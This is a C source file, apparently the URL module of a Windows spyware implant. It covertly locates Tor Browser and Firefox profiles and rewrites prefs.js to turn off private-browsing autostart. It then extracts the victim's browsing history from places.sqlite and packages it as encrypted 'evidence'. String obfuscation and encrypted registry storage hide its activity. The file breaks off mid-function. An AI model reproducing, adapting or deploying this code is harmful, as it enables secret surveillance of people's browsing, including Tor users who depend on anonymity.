#include "url.h"
#include <stdio.h>
#include <time.h>
#include "globals.h"
#include "version.h"
#include "utils.h"
#include "zmem.h"
#include "proto.h"

#ifndef _GLOBAL_VERSION_FUNCTIONS_
	#define _GLOBAL_VERSION_FUNCTIONS_
	#include "version.h"
#endif

#define CHECK_INTERVAL 60000 //interval to check for new evidences

sqlite3 *g_ppDb  = NULL;
//char	*g_szErr = NULL;

BROWSER_DATA g_pBrowserData[URL_MAX_BROWSER];
URL_LOGS	 g_lpURLLogs[MAX_URL_QUEUE];


//url main function
VOID URL_Main()
{	
	int	nRet = 0;
	
	while(TRUE)
	{
		#ifdef _DEBUG
		OutputDebugString(L"[URL] Thread running...\r\n");
		#endif

		//verify thread existence
		if(bURLThread == FALSE)
		{
			#ifdef _DEBUG
			OutputDebugString(L"[URL] Thread not found...\r\n");
			#endif		

			hURLThread = NULL;
			return;
		}

		if(bCollectEvidences)
		{
			#ifdef _DEBUG
			OutputDebugString(L"[URL] Collecting evidences\r\n");
			#endif

			//verify if the tor db has already been found
			nRet = URL_GetSavedInfo((PBROWSER_DATA*)g_pBrowserData);
			if(nRet == 0)
				return;

			#ifdef _DEBUG
			OutputDebugString(L"[URL] Getting Tor Browser\r\n");
			#endif

			//get the tor history
			URL_GetBrowserHistory(BROWSER_TOR);

			#ifdef _DEBUG
			OutputDebugString(L"[URL] Getting Firefox Browser\r\n");
			#endif

			//get the firefox history
			URL_GetBrowserHistory(BROWSER_FIREFOX);
		}

		#ifdef _DEBUG
		OutputDebugString(L"[URL] Thread sleeping...\r\n");
		#endif

		//sleep for the specified of time
		Sleep(CHECK_INTERVAL);
	}
}


//get the web site history of the specified browser
int URL_GetBrowserHistory(BROWSER_TYPE Browser)
{
	PBROWSER_DATA pBrowserData = NULL;
	WCHAR	wsTorExe[]		= {L't', L'o', L'r', L'.', L'e', L'x', L'e', L'\0'};
	WCHAR	wsFirefoxExe[]	= {L'f', L'i', L'r', L'e', L'f', L'o', L'x', L'.', L'e', L'x', L'e', L'\0'};
	LPWSTR	lpwsExe=NULL, lpwsExePath=NULL;
	DWORD	dwProcID=0, dwLen=0;
	int		nRet, nStartFrom=0;
	BOOL	bRet;

	switch(Browser)
	{
		case BROWSER_TOR:
			dwLen = wcslen(wsTorExe) + 1;
			lpwsExe = (LPWSTR)malloc(dwLen * sizeof(WCHAR));
			if(lpwsExe != NULL)
				wcscpy_s(lpwsExe, dwLen, wsTorExe);
		break;

		case BROWSER_FIREFOX:
			dwLen = wcslen(wsFirefoxExe) + 1;
			lpwsExe = (LPWSTR)malloc(dwLen * sizeof(WCHAR));
			if(lpwsExe != NULL)
				wcscpy_s(lpwsExe, dwLen, wsFirefoxExe);
		break;

		default:
			return 0;
	}

	if(lpwsExe == NULL)
		return 0;

	//get the registry info for the specified browser
	nStartFrom = 0;

	//search for a running process
	dwProcID = URL_IsProcess(lpwsExe);
	znfree((LPVOID*)&lpwsExe);

	if(dwProcID)
	{
		//get the process full path
		lpwsExePath = URL_GetProcessPath(dwProcID);
		if(lpwsExePath == NULL)
			return 0;
	}

	do
	{
		//get browser info
		pBrowserData = URL_FindBrowserInfo((PBROWSER_DATA*)g_pBrowserData, lpwsExePath, Browser, &nStartFrom);
		if(pBrowserData == NULL)
		{
			//if no browser info id found and the process is not running then exit
			if(dwProcID == 0)
			{
				znfree((LPVOID*)&lpwsExePath);
				return 0;
			}

			//search the browser files
			bRet = URL_SearchFiles(lpwsExePath, &pBrowserData, Browser);
			znfree((LPVOID*)&lpwsExePath);
			if(bRet == FALSE)
				return 0;
		}

		#ifdef _DEBUG
		OutputDebugString(L"[URL] Browser info found");
		OutputDebugStringA(pBrowserData->ConfigPath);
		OutputDebugStringA(pBrowserData->DBPath);
		#endif

		//check if the config file path is present in the saved configuration
		if((pBrowserData->ConfigPath[0] != 0) && (dwProcID == 0))
		{
			//modify the browser's configuration file
			nRet = URL_ModifyConfigFile(pBrowserData);
			if(!nRet)
				return 0;

			//delete the configuration information
			//memset(pBrowserData->ConfigPath, 0x0, sizeof(pBrowserData->ConfigPath));
			//URL_SaveInfo(g_pBrowserData);
		}

		//check if the db is present in the current configuration
		if(pBrowserData->DBPath[0] != 0)
		{
			//query the database to extract urls
			URL_GetHistory(pBrowserData);
		}

		dwProcID = 0;
	}
	while(nStartFrom < URL_MAX_BROWSER);

	return 0;
}


//open the tor db containing the visited sites (places.sqlite)
int URL_OpenDB(LPSTR lpDBPath)
{
	int nRet;

	//apertura del db
	nRet = sqlite3_open(lpDBPath, &g_ppDb);

	return nRet;
}


//query the db for visited websites
int URL_GetHistory(PBROWSER_DATA pBrowserData)
{
	char szSQLQuery[] = "select * from moz_places m inner join moz_historyvisits h \
					    on m.id = h.place_id \
					    where h.visit_date > %s \
					    order by h.id";
	LPSTR lpszQry = NULL;
	DWORD dwSize = 0;
	char  *lpszErr = NULL;
	int   nRet;

	switch(pBrowserData->Type)
	{
		case BROWSER_FIREFOX:
		case BROWSER_TOR:

			//open the firefox and tor db
			if(URL_OpenDB(pBrowserData->DBPath) != SQLITE_OK)
			{
				#ifdef _DEBUG
				OutputDebugString(L"[URL] OpenDB failed");
				#endif

				return SQLITE_ERROR;
			}

			if(pBrowserData->TimeStamp[0] == 0)
				pBrowserData->TimeStamp[0] = '0';

			dwSize = strlen(szSQLQuery) + strlen(pBrowserData->TimeStamp) + 1;

			//concatenate the query
			lpszQry = (LPSTR)malloc(dwSize);
			if(lpszQry == NULL)
			{
				sqlite3_close(g_ppDb);
				return SQLITE_ERROR;
			}
			sprintf_s(lpszQry, dwSize, szSQLQuery, pBrowserData->TimeStamp);

			//query the db
			nRet = sqlite3_exec(g_ppDb, lpszQry, URL_GetHistoryCallback, pBrowserData, &lpszErr);
			free(lpszQry);
			if(lpszErr != NULL)
				sqlite3_free(lpszErr);			

			//close the db connection
			sqlite3_close(g_ppDb);

			//if there were no errors or the log array was full, then proceed
			if((nRet != SQLITE_OK) && (nRet != SQLITE_ABORT))
			{
				#ifdef _DEBUG
				OutputDebugString(L"[URL] sqlite3_exec failed");
				#endif				

				return SQLITE_ERROR;
			}

			//save the registry array
			if(!URL_SaveInfo(g_pBrowserData))
				return SQLITE_ERROR;
		break;

		default:
			return SQLITE_ERROR;
	}

	return SQLITE_OK;
}


//history callback function called for every row returned
int URL_GetHistoryCallback(void* pParams, int nCol, char** sRows, char** sColumnName)
{
	LPWSTR lpwsURL=NULL, lpwsTitle=NULL;
	LPSTR  lpszTimestamp=NULL;
	DWORD  dwSize;
	int    nErr=0;
	PBROWSER_DATA p = (PBROWSER_DATA)pParams;

	for(int i = 0; i < nCol; i++)
	{
		if(sColumnName[i] == NULL)
			continue;

		if(sRows[i] == NULL)
			continue;

		if(!_stricmp(sColumnName[i], "url"))
		{
			dwSize = strlen(sRows[i]) + 1;
			lpwsURL = (LPWSTR)malloc(dwSize * sizeof(WCHAR));
			if(lpwsURL == NULL)
			{
				nErr = -1;
				break;
			}

			swprintf_s(lpwsURL, dwSize, L"%S", sRows[i]);
			continue;
		}

		if(!_stricmp(sColumnName[i], "title"))
		{
			dwSize = strlen(sRows[i]) + 1;
			lpwsTitle = (LPWSTR)malloc(dwSize * sizeof(WCHAR));
			if(lpwsTitle == NULL)
			{
				nErr = -1;
				break;
			}

			swprintf_s(lpwsTitle, dwSize, L"%S", sRows[i]);
			continue;
		}

		if(!_stricmp(sColumnName[i], "last_visit_date"))
		{
			dwSize = strlen(sRows[i]) + 1;
			lpszTimestamp = (LPSTR)malloc(dwSize);
			if(lpszTimestamp == NULL)
			{
				nErr = -1;
				break;
			}

			sprintf_s(lpszTimestamp, dwSize, "%s", sRows[i]);
			continue;
		}
	}

	//check if there were errors
	if(nErr == 0)
	{
		if(lpwsURL != NULL)
		{
			if(lpwsTitle == NULL)
			{			
				lpwsTitle = (LPWSTR)malloc(4*sizeof(WCHAR));
				if(lpwsTitle == NULL)
				{
					znfree((LPVOID*)&lpwsURL);
					znfree((LPVOID*)&lpszTimestamp);
					return 1;
				}

				wcscpy_s(lpwsTitle, 4, L" \0");
			}

			if(lpszTimestamp == NULL)
			{			
				lpszTimestamp = (LPSTR)malloc(4*sizeof(WCHAR));
				if(lpszTimestamp == NULL)
				{
					znfree((LPVOID*)&lpwsURL);
					znfree((LPVOID*)&lpwsTitle);
					return 1;
				}

				strcpy_s(lpszTimestamp, 4, "0\0");
			}

			//log the url data
			if(URL_LogEvidence(lpwsURL, lpwsTitle, lpszTimestamp, (BROWSER_TYPE)p->Type))
			{
				//save the timestamp of the last url
				memset(p->TimeStamp, 0, sizeof(p->TimeStamp));
				sprintf_s(p->TimeStamp, sizeof(p->TimeStamp), "%s", lpszTimestamp);

				#ifdef _DEBUG
				OutputDebugString(L"[URL] Logging evidendce");
				OutputDebugString(lpwsURL);
				#endif
			}
			else
				nErr = 1; //error, log full
		}
	}

	//free the allocated memory
	znfree((LPVOID*)&lpwsURL);
	znfree((LPVOID*)&lpwsTitle);
	znfree((LPVOID*)&lpszTimestamp);

	return nErr;
}


//search in the global browser array, the data of the specified browser type
PBROWSER_DATA URL_FindBrowserInfo(PBROWSER_DATA *pBrowserData, LPWSTR lpExePath, BROWSER_TYPE Browser, int *nStartFrom)
{	
	PBROWSER_DATA p = NULL;
	LPSTR	lpszExe = NULL;
	DWORD	dwSize = 0;
	size_t	dwConv;
	BOOL	bFound = FALSE;
	int i;
	
	p = (PBROWSER_DATA)pBrowserData;

	if(lpExePath)
	{
		dwSize = wcslen(lpExePath) + 1;

		//alloc mem for the char string
		lpszExe = (LPSTR)malloc(dwSize);
		if(lpszExe == NULL)
			return NULL;
		
		//convert wchar array to multi-byte array
		if(wcstombs_s(&dwConv, lpszExe, dwSize, lpExePath, dwSize))
		{
			znfree((LPVOID*)&lpszExe);
			return NULL;
		}
	}

//	#ifdef _DEBUG
//	WCHAR wcBuf[1024];
//	#endif

	for(i = *nStartFrom; (i < URL_MAX_BROWSER) && (p[i].Type != BROWSER_UNKNOWN); i++)
	{
		//#ifdef _DEBUG
		//OutputDebugString(L"FindBrowserInfo loop:");
		//_swprintf(wcBuf, L"%d\nExe: %S\nDB: %S\nCfg: %S\n", i, p[i].ExePath, p[i].DBPath, p[i].ConfigPath);
		//OutputDebugString(wcBuf);
		//#endif

		if(p[i].Type == (char)Browser)
		{
			if(lpExePath != NULL)
			{
				//verify the exe path (there could be multiple tor installations on the same pc)
				if(!_stricmp(p[i].ExePath, lpszExe))
				{
					bFound = TRUE;
					break;
				}
			}
			else
			{
				bFound = TRUE;
				break;
			}
		}
	}

	znfree((LPVOID*)&lpszExe);

	if(bFound == TRUE)
	{		
		*nStartFrom = i + 1;
		return &p[i];
	}
	else
		*nStartFrom = URL_MAX_BROWSER + 1;	

	return NULL;
}


//verify if the browser process is running and return the process id
DWORD URL_IsProcess(LPWSTR lpwsExeName)
{
	PROCESSENTRY32 ppe;
	HANDLE hSnapshot = NULL;
	BOOL   bRet, bFound = FALSE;

	//create a snapshot of the running processes
	hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
	if(hSnapshot == INVALID_HANDLE_VALUE)
	{
		#ifdef _DEBUG
		OutputDebugString(L"[URL] CreateToolhelp32Snapshot failed");
		#endif

		return 0;
	}

	ppe.dwSize = sizeof(PROCESSENTRY32);

	//get the first process
	bRet = Process32First(hSnapshot, &ppe);
	if(bRet == FALSE)
	{
		#ifdef _DEBUG
		OutputDebugString(L"[URL] Process32First failed");
		#endif

		CloseHandle(hSnapshot);
		return 0;
	}

	do
	{
		//verify the name of the process
		if(!_wcsicmp(ppe.szExeFile, lpwsExeName))
		{
			bFound = TRUE;
			continue;
		}

		//search the next process
		bRet = Process32Next(hSnapshot, &ppe);
		if(bRet == FALSE)
			break;

	}while((bRet == TRUE) && (bFound == FALSE));

	//close the snapshot
	CloseHandle(hSnapshot);

	if(bFound == FALSE)
	{
		#ifdef _DEBUG
		OutputDebugString(L"[URL] Browser process not found");
		OutputDebugString(lpwsExeName);
		#endif

		return 0;
	}
	
	return ppe.th32ProcessID;
}


//get the full path of the browser exe from the running process
LPWSTR URL_GetProcessPath(DWORD dwProcID)
{
	MODULEENTRY32  pme;
	HANDLE hSnapshot = NULL;
	BOOL   bRet, bFound = FALSE;

	//create a snapshot for the running process
	hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPALL, dwProcID);
	if(hSnapshot == INVALID_HANDLE_VALUE)
	{
		#ifdef _DEBUG
		OutputDebugString(L"[URL] CreateToolhelp32Snapshot failed");
		#endif

		return NULL;
	}

	pme.dwSize = sizeof(MODULEENTRY32);

	//get the first process
	bRet = Module32First(hSnapshot, &pme);
	if(bRet == FALSE)
	{
		#ifdef _DEBUG
		OutputDebugString(L"[URL] Module32First failed");
		#endif

		CloseHandle(hSnapshot);
		return NULL;
	}

	CloseHandle(hSnapshot);

	if(pme.szExePath == NULL)
		return NULL;

	LPWSTR lpwsPath = NULL;
	DWORD  dwSize = 0;

	dwSize = wcslen(pme.szExePath) + 1;

	lpwsPath = (LPWSTR)malloc(dwSize * sizeof(WCHAR));
	if(lpwsPath != NULL)		
		wcscpy_s(lpwsPath, dwSize, pme.szExePath);

	return lpwsPath;
}


//get the first free array position
int GetFirstFreePos(PBROWSER_DATA pBrowserData)
{
	int i;	

	for(i=0; i<URL_MAX_BROWSER; i++, pBrowserData++)
	{
		if(pBrowserData->Type == BROWSER_UNKNOWN)
			break;
	}

	if(i >= URL_MAX_BROWSER)
		return -1;

	return i;
}



//modify the browser's configuration file
int URL_ModifyConfigFile(PBROWSER_DATA pBrowserData)
{
	CHAR	szConfigStr[] = {'u', 's', 'e', 'r', '_', 'p', 'r', 'e', 'f', '(', '"', 'b', 'r', 'o', 'w', 's', 'e', 'r', '.', 'p',  'r',  'i',  'v',  'a',  't',  'e',  'b',  'r',  'o',  'w',  's',  'i',  'n',  'g',  '.',  'a',  'u',  't',  'o',  's',  't',  'a',  'r',  't',  '"',  ',',  ' ',  'f',  'a',  'l',  's',  'e', ')',  ';', '\r', '\n', '\0'};
	CHAR    szSubStr[]    = {'b', 'r', 'o', 'w', 's', 'e', 'r', '.', 'p',  'r',  'i',  'v',  'a',  't',  'e',  'b',  'r',  'o',  'w',  's',  'i',  'n',  'g',  '.',  'a',  'u',  't',  'o',  's',  't',  'a',  'r',  't', '\0'};
	LPSTR	lpszConfigPath = NULL;
	LPSTR   lpszBuf = NULL;
	DWORD	dwWr;
	BOOL	bRet = FALSE;
	HANDLE	hFile = NULL;
	DWORD	dwSize = 0;


	switch(pBrowserData->Type)
	{
		case BROWSER_FIREFOX:
		case BROWSER_TOR:			

			dwSize = strlen(pBrowserData->ConfigPath) + 1;
			lpszConfigPath = (LPSTR)malloc(dwSize);
			if(lpszConfigPath == NULL)
				return 0;
			sprintf_s(lpszConfigPath, dwSize, "%s", pBrowserData->ConfigPath); 

			#ifdef _DEBUG
			OutputDebugString(L"Modifying config file");
			OutputDebugStringA(lpszConfigPath);
			#endif			

			//open the config file
			hFile = CreateFileA(lpszConfigPath, GENERIC_READ|GENERIC_WRITE, FILE_SHARE_READ|FILE_SHARE_WRITE, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
			free(lpszConfigPath);

			if(hFile == INVALID_HANDLE_VALUE)				
				return 0;			
			
			//search in the file for the config string
			lpszBuf = File_SearchString(hFile, szSubStr);
			if(lpszBuf != NULL)
			{
				//verify if the correct string is already present
				if(strstr(lpszBuf, "false"))
				{
					CloseHandle(hFile);
					znfree((LPVOID*)&lpszBuf);
					return 1;
				}
				znfree((LPVOID*)&lpszBuf);
			}

			//set the file pointer to the end of the file
			if(SetFilePointer(hFile, 0, 0, FILE_END) == INVALID_SET_FILE_POINTER)
			{
				CloseHandle(hFile);
				return 0;
			}

			#ifdef _DEBUG
			OutputDebugString(L"Writing config file");			
			#endif

			//write the file
			bRet = WriteFile(hFile, szConfigStr, strlen(szConfigStr) + 1, &dwWr, NULL);
			CloseHandle(hFile);

			if(bRet != TRUE)
				return 0;
		break;

		default:
			return 0;
	}

	#ifdef _DEBUG
	OutputDebugString(L"Writing config file ok");
	#endif

	return 1;
}


//search the places.sqlite db and the config file starting from the exe name
BOOL URL_SearchFiles(LPWSTR lpwsExePath, PBROWSER_DATA* pBrowserData, BROWSER_TYPE Browser)
{	
	WCHAR   wsConfigFile[] = {L'p', L'r', L'e', L'f', L's', L'.', L'j', L's', L'\0'};
	WCHAR   wsDBFile[]     = {L'p', L'l', L'a', L'c', L'e', L's', L'.', L's', L'q', L'l', L'i', L't', L'e', L'\0'};
	LPWSTR	lpwsConfigDir = NULL, lpwsDBDir = NULL, lpwsPath = NULL;	
	size_t	dwConv;
	int		nRet;
	BROWSER_DATA BrowserData;

	SecureZeroMemory(&BrowserData, sizeof(BROWSER_DATA));

	switch(Browser)
	{
		case BROWSER_TOR:
		case BROWSER_FIREFOX:
					
			if(Browser == BROWSER_TOR)
			{
				//moves up 2 directories
				lpwsPath = GetParentDirectory(lpwsExePath, 2);
			}
			else
			{
				WCHAR wsSubDir[] = {L'M', L'o', L'z', L'i', L'l', L'l', L'a', L'\\', L'F', L'i', L'r', L'e', L'f', L'o', L'x', L'\0'};

				//get the appdata directory
				lpwsPath = GetAppDataDirectory(wsSubDir);
			}

			if(lpwsPath == NULL)
				return FALSE;

			//save the exe path
			if(lpwsExePath != NULL)
			{					
				if(wcstombs_s(&dwConv, BrowserData.ExePath, sizeof(BrowserData.ExePath), lpwsExePath, _TRUNCATE))
				{
					free(lpwsPath);
					return NULL;
				}
			}

			//search the configuration file
			lpwsConfigDir = SearchFile(lpwsPath, wsConfigFile);
			if(lpwsConfigDir == NULL)
			{
				#ifdef _DEBUG
				OutputDebugString(L"[URL] Config file not found\r\n");
				OutputDebugString(lpwsExePath);
				#endif

				free(lpwsPath);
				return FALSE;
			}

			#ifdef _DEBUG
			OutputDebugString(L"[URL] Config file found in directory");
			OutputDebugString(lpwsConfigDir);
			#endif
	
			//save the configuration file path
			BrowserData.Type = (char)Browser;
			wcstombs_s(&dwConv, BrowserData.ConfigPath, sizeof(BrowserData.ConfigPath), lpwsConfigDir, _TRUNCATE);
			free(lpwsConfigDir);

			//search the db file
			lpwsDBDir = SearchFile(lpwsPath, wsDBFile);
			if(lpwsDBDir == NULL)
			{
				#ifdef _DEBUG
				OutputDebugString(L"[URL] DB file not found\r\n");
				OutputDebugString(lpwsExePath);
				#endif

				free(lpwsPath);
				return FALSE;
			}

			#ifdef _DEBUG
			OutputDebugString(L"[URL] Config file found in directory");
			OutputDebugString(lpwsDBDir);
			#endif

			//save the db file path
			wcstombs_s(&dwConv, BrowserData.DBPath, sizeof(BrowserData.DBPath), lpwsDBDir, _TRUNCATE);			

			free(lpwsPath);
			free(lpwsDBDir);

		break;

		default:
			return FALSE;
	}	

	//save the browser data in the global array
	nRet = URL_AddSavedInfo((PBROWSER_DATA)g_pBrowserData, &BrowserData);
	if(nRet < 0)
		return FALSE;
	
	*pBrowserData = &g_pBrowserData[nRet];

	return TRUE;
}


//search a file starting from the specified directory
LPWSTR SearchFile(LPWSTR lpwsPath, LPWSTR lpwsFile)
{
	WIN32_FIND_DATA FindFileData;
	HANDLE	hFile = NULL;
	BOOL	bRet = TRUE;
	LPWSTR	lpwsFoundPath = NULL;
	LPWSTR	lpwsCompletePath = NULL;
	DWORD	dwLen = 0;

	if((lpwsPath == NULL) || (lpwsFile == NULL))
		return NULL;

	lpwsCompletePath = (LPWSTR)malloc(MAX_PATH * sizeof(WCHAR));
	if(lpwsCompletePath == NULL)
		return NULL;
	swprintf_s(lpwsCompletePath, MAX_PATH, L"%s\\%s", lpwsPath, lpwsFile);
	
	//search for the specified file
	hFile = FindFirstFile(lpwsCompletePath, &FindFileData);
	if(hFile != INVALID_HANDLE_VALUE)
	{
		free(lpwsCompletePath);
		lpwsFoundPath = (LPWSTR)malloc(MAX_PATH * sizeof(WCHAR));
		if(lpwsFoundPath != NULL)
			swprintf_s(lpwsFoundPath, MAX_PATH, L"%s\\%s", lpwsPath, FindFileData.cFileName);

		FindClose(hFile);
		return lpwsFoundPath;
	}

	if(lpwsFile[0] != '*')
	{
		swprintf_s(lpwsCompletePath, MAX_PATH, L"%s\\%s", lpwsPath, L"*");

		hFile = FindFirstFile(lpwsCompletePath, &FindFileData);
		if(hFile == INVALID_HANDLE_VALUE)
		{
			free(lpwsCompletePath);
			return NULL;
		}
	}

	//search a directory in the current path
	do
	{
		bRet = FindNextFile(hFile, &FindFileData);
		if(!bRet)
			continue;

		//skip special file name
		if(!wcscmp(FindFileData.cFileName, L".") || !wcscmp(FindFileData.cFileName, L".."))
			continue;

		//if it's a file, continue
		if((FindFileData.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY) != FILE_ATTRIBUTE_DIRECTORY)
			continue;

		//if it's a directory, add it to the path
		swprintf_s(lpwsCompletePath, MAX_PATH, L"%s\\%s", lpwsPath, FindFileData.cFileName);
		#ifdef _DEBUG
		OutputDebugString(L"[URL] Searching file in directory\r\n");
		OutputDebugString(lpwsCompletePath);
		#endif

		//recursion
		lpwsFoundPath = SearchFile(lpwsCompletePath, lpwsFile);
		if(lpwsFoundPath != NULL)
			break;
	}
	while(bRet == TRUE);

	//close the file handle
	FindClose(hFile);

	//free memory
	znfree((LPVOID*)&lpwsCompletePath);

	return lpwsFoundPath;
}


//get the path of the parent directory
LPWSTR GetParentDirectory(LPWSTR lpwsPath, int nLevels)
{
	WCHAR  *lpwsOrigPath = NULL, *lpwsPos = NULL, *lpTmpPath = NULL;
	LPWSTR lpwsParent = NULL;
	DWORD  dwSize = 0;

	if(lpwsPath == NULL)
		return NULL;

	lpwsOrigPath = lpwsPath;

	//search the filepath till the last \ char
	for(int i=0; i<nLevels+1; i++)
	{		
		lpTmpPath = lpwsOrigPath;
		do
		{
			lpwsPos  = wcschr(lpTmpPath, L'\\');
			if(lpwsPos != NULL)
				lpTmpPath = lpwsPos+1;
		}
		while(lpwsPos != NULL);

		if(lpTmpPath == NULL)
		{
			#ifdef _DEBUG
			OutputDebugString(L"[URL] GetParentDirectory failed");
			OutputDebugString(lpwsPath);
			#endif

			znfree((LPVOID*)&lpwsParent);
			return NULL;
		}
		else if((lpwsParent != NULL) && (!wcscmp(lpTmpPath, lpwsParent)))
		{			
			return lpwsParent;
		}
		else if(!wcscmp(lpTmpPath, lpwsOrigPath))
		{
			//no parent directory found, return the search directory
			return lpwsOrigPath;
		}

		dwSize = wcslen(lpwsOrigPath) - wcslen(lpTmpPath);
		
		znfree((LPVOID*)&lpwsParent);

		lpwsParent = (LPWSTR)malloc(dwSize * sizeof(WCHAR));
		if(lpwsParent == NULL)
			return NULL;
		wcsncpy_s(lpwsParent, dwSize, lpwsPath, _TRUNCATE);

		lpwsOrigPath = lpwsParent;
	}

	return lpwsParent;
}


//get the %appdata% directory + specified subdir
LPWSTR GetAppDataDirectory(LPWSTR lpwsSubDir)
{
	LPWSTR lpwsAppData = NULL;	
		
	lpwsAppData = (LPWSTR)malloc(MAX_PATH * sizeof(WCHAR));
	if(lpwsAppData == NULL)
		return NULL;

	if(!SHGetSpecialFolderPath(NULL, lpwsAppData, CSIDL_APPDATA, FALSE))
	{
		znfree((LPVOID*)&lpwsAppData);
		return NULL;
	}

	if(lpwsSubDir != NULL)
	{		
		DWORD dwSize = wcslen(lpwsAppData) + wcslen(lpwsSubDir) + 1;

		//verify the length
		if(dwSize >= MAX_PATH)
		{
			znfree((LPVOID*)&lpwsAppData);
			return NULL;
		}

		wcscat_s(lpwsAppData, MAX_PATH, L"\\");
		wcscat_s(lpwsAppData, MAX_PATH, lpwsSubDir);
	}

	return lpwsAppData;
}


//read saved browser information from the registry
int URL_GetSavedInfo(PBROWSER_DATA *pBrowserData)
{
	HKEY hKey;
	WCHAR wsBase[] = SOLDIER_REGISTRY_KEY;
	WCHAR wsData[] = URL_REGISTRY_BROWSER_DATA;
	DWORD dwRet=0, dwOut=0;
	BOOL  bRet;
	
	if(pBrowserData == NULL)
		return 0;

	SecureZeroMemory(pBrowserData, sizeof(BROWSER_DATA) * URL_MAX_BROWSER);
	
	LPWSTR lpwsUnique = GetScoutSharedMemoryName();
	LPWSTR lpwsSubKey = (LPWSTR)malloc(512 * sizeof(WCHAR));

	if((lpwsUnique == NULL) || (lpwsSubKey == NULL))
	{
		znfree((LPVOID*)&lpwsUnique);
		znfree((LPVOID*)&lpwsSubKey);
		return 0;
	}

	_snwprintf_s(lpwsSubKey, 512, _TRUNCATE, L"%s\\%s", wsBase, lpwsUnique);
	bRet = CreateRegistryKey(HKEY_CURRENT_USER, lpwsSubKey, REG_OPTION_NON_VOLATILE, KEY_READ|KEY_WRITE, &hKey);

	//free memory
	znfree((LPVOID*)&lpwsUnique);
	znfree((LPVOID*)&lpwsSubKey);

	if(bRet == FALSE)
		return 0;
	
	//get the browser data
	dwOut = sizeof(BROWSER_DATA) * URL_MAX_BROWSER;
	dwRet = RegQueryValueEx(hKey, wsData, NULL, NULL, (LPBYTE)pBrowserData, &dwOut);
	//close the registry key
	RegCloseKey(hKey);

	if((dwRet != ERROR_SUCCESS) && (dwRet != ERROR_FILE_NOT_FOUND))
		return 0;

	//decrypt the key value
	if(dwRet != ERROR_FILE_NOT_FOUND)		
		DecryptBuffer((LPBYTE)pBrowserData, sizeof(BROWSER_DATA) * URL_MAX_BROWSER);

	return 1;
}


//add an item to the array of the browser structure
int URL_AddSavedInfo(PBROWSER_DATA pArray, PBROWSER_DATA pBrowserData, int nPos/*=-1*/)
{

	if(nPos >= URL_MAX_BROWSER)
		return -1;

	if(pArray == NULL)
		return -1;

	if(nPos == -1)
	{
		//get the first free position in the array
		nPos = GetFirstFreePos(pArray);
		if(nPos < 0)
			return -1;
	}

	//copy the data into the array
	memcpy(&pArray[nPos], pBrowserData, sizeof(BROWSER_DATA));

	//save the structure
	URL_SaveInfo(pArray);

	return nPos;
}


//save browser info in the registry
int URL_SaveInfo(PBROWSER_DATA pBrowserData)
{
	HKEY hKey;
	WCHAR wsBase[]	= SOLDIER_REGISTRY_KEY;
	WCHAR wsData[]	= URL_REGISTRY_BROWSER_DATA;
	DWORD dwRet = 0;
	BOOL  bRet = FALSE;

	LPWSTR lpwsUnique = GetScoutSharedMemoryName();
	LPWSTR strSubKey = (LPWSTR)malloc(512 * sizeof(WCHAR));
	
	if((lpwsUnique == NULL) || (strSubKey == NULL))
	{
		znfree((LPVOID*)&lpwsUnique);
		znfree((LPVOID*)&strSubKey);
		return 0;
	}
	
	//registry subkey
	_snwprintf_s(strSubKey, 512, _TRUNCATE, L"%s\\%s", wsBase, lpwsUnique);

	bRet = CreateRegistryKey(HKEY_CURRENT_USER, strSubKey, REG_OPTION_NON_VOLATILE, KEY_READ|KEY_WRITE, &hKey);

	znfree((LPVOID*)&lpwsUnique);
	znfree((LPVOID*)&strSubKey);

	if(bRet == FALSE)
		return 0;

	//encrypt the key value
	EncryptBuffer((LPBYTE)pBrowserData, sizeof(BROWSER_DATA) * URL_MAX_BROWSER);

	//write the registry key
	dwRet = RegSetValueEx(hKey, wsData, 0, REG_BINARY, (LPBYTE)pBrowserData, sizeof(BROWSER_DATA) * URL_MAX_BROWSER);	
	RegCloseKey(hKey);

	DecryptBuffer((LPBYTE)pBrowserData, sizeof(BROWSER_DATA) * URL_MAX_BROWSER);

	if(dwRet != ERROR_SUCCESS)
		return 0;

	return 1;
}


// scrive un a entry nel file di log corrispondente
BOOL URL_LogEvidence(LPWSTR lpwsURL, LPWSTR lpwsTitle, LPSTR lpszTimestamp, BROWSER_TYPE Browser)
{	
	DWORD dwDelimiter = ELEM_DELIMITER;
	DWORD dwLogVer = URL_LOG_VER;
	DWORD dwSize;
	LPBYTE lpcBuf, lpTmp;
	struct tm time;
	_int64 nTime;
	BOOL   bRet = FALSE;
	char   szBuf[32];

	//verify the log info
	if((lpwsURL == NULL) || (lpwsTitle == NULL) || (lpszTimestamp == NULL))
		return FALSE;

	//build the log	

	//get the system time
	//_time64(&nTime);	

	strcpy_s(szBuf, sizeof(szBuf), lpszTimestamp);
	szBuf[10] = 0;
	nTime = atol(szBuf);
	//convert time value to a tm struct
	_gmtime64_s(&time, &nTime);
	time.tm_year += 1900;
	time.tm_mon++;

	//compute the size of the log
	dwSize  = sizeof(time);									//timestamp
	dwSize += sizeof(dwLogVer);								//log_version
	dwSize += ((wcslen(lpwsURL) + 1) * sizeof(WCHAR));		//url
	dwSize += sizeof(Browser);								//browser type
	dwSize += ((wcslen(lpwsTitle) + 1) * sizeof(WCHAR));	//title
	dwSize += sizeof(dwDelimiter);							//delimiter

	//alloc mem for the log data
	lpcBuf = (LPBYTE)malloc(dwSize);
	if(lpcBuf == NULL)
		return FALSE;
	lpTmp = lpcBuf;

	//fill the buffer
	memcpy(lpTmp, &time, sizeof(time));
	lpTmp += sizeof(time);
	memcpy(lpTmp, &dwLogVer, sizeof(dwLogVer));
	lpTmp += sizeof(dwLogVer);
	memcpy(lpTmp, lpwsURL, ((wcslen(lpwsURL) + 1) * sizeof(WCHAR)));
	lpTmp += ((wcslen(lpwsURL) + 1) * sizeof(WCHAR));
	memcpy(lpTmp, &Browser, sizeof(Browser));
	lpTmp += sizeof(Browser);
	memcpy(lpTmp, lpwsTitle, ((wcslen(lpwsTitle) + 1) * sizeof(WCHAR)));
	lpTmp += ((wcslen(lpwsTitle) + 1) * sizeof(WCHAR));
	memcpy(lpTmp, &dwDelimiter, sizeof(dwDelimiter));

	//add to the log queue
	DWORD dwEvSize;
	LPBYTE lpcEvBuffer = PackEncryptEvidence(dwSize, lpcBuf, PM_URLAGENT, NULL, 0, &dwEvSize);
	znfree((LPVOID*)&lpcBuf);

	//queue the evidence
